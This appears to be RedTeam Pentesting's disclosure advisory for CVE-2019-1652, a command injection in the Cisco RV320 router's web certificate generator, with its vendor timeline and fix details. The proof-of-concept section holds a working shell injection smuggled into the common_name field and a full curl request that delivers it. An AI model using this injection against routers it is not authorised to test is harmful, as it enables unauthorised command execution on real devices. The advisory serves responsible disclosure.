Cisco RV320 Command Injection

`Advisory: Cisco RV320 Command Injection  
  
RedTeam Pentesting discovered a command injection vulnerability in the  
web-based certificate generator feature of the Cisco RV320 router.  
  
  
Details  
=======  
  
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others  
Affected Versions: 1.4.2.15 and later  
Fixed Versions: since 1.4.2.20  
Vulnerability Type: Remote Code Execution  
Security Risk: medium  
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject  
Vendor Status: fixed version released  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-004  
Advisory Status: published  
CVE: CVE-2019-1652  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652  
  
  
Introduction  
============  
  
"Keep your employees, your business, and yourself productive and  
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal  
choice for any small office or small business looking for performance,  
security, and reliability in its network."  
(from the Cisco RV320 product page [1])  
  
  
More Details  
============  
  
The router's web interface enables users to generate new X.509  
certificates directly on the device. A user may enter typical  
configuration parameters required for the certificate, such as  
organisation, the common name and so on. In order to generate the  
certificate, the device uses the command-line program openssl [2]. The  
device's firmware uses the following format string to assemble the  
openssl command:  
  
------------------------------------------------------------------------  
openssl req -new -nodes -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out %s%s.csr -days %s -newkey rsa:%s > /dev/null 2>&1  
------------------------------------------------------------------------  
  
Although the web interface filters certain special characters via  
JavaScript, there is actually no input filtering, escaping or encoding  
happening on the server. This allows attackers to inject arbitrary  
commands.  
  
  
Proof of Concept  
================  
  
Even though all components of the subject seem to be vulnerable to  
command injection, the following example uses the common name to trigger  
a ping command:  
  
------------------------------------------------------------------------  
a'$(ping -c 4 192.168.1.2)'b  
------------------------------------------------------------------------  
  
The following HTTP POST request invokes the certificate generator  
function and triggers the command injection. It requires a valid session  
cookie for the device's web interface.  
  
------------------------------------------------------------------------  
curl -s -b "$COOKIE" \  
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\  
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\  
"&organization=A&organization_unit=A&email=ab%40example.com"\  
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\  
"SelectSubject_s=1" \  
--data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" \  
"http://192.168.1.1/certificate_handle2.htm?type=4"  
------------------------------------------------------------------------  
  
Afterwards, the incoming ICMP echo requests can be observed on the  
attacker's system at 192.168.1.2.  
  
  
Workaround  
==========  
  
Prevent untrusted users from using the router's web interface.  
  
  
Fix  
===  
  
Install firmware version 1.4.2.20 (or later) on the router.  
  
  
Security Risk  
=============  
  
The vulnerability allows attackers with administrative access to the  
router's web interface to execute arbitrary operating system commands on  
the device. Because attackers require valid credentials to the web  
interface, this vulnerability is only rated as a medium risk.  
  
  
Timeline  
========  
  
2018-09-19 Vulnerability identified  
2018-09-27 Customer approved disclosure to vendor  
2018-09-28 Vendor notified  
2018-10-05 Receipt of advisory acknowledged by vendor  
2018-10-05 Notified vendor of disclosure date: 2019-01-09  
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor  
2019-01-16 List of affected versions provided by vendor  
2019-01-23 Advisory published  
  
  
References  
==========  
  
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html  
[2] https://wiki.openssl.org/index.php/Command_Line_Utilities  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen  
`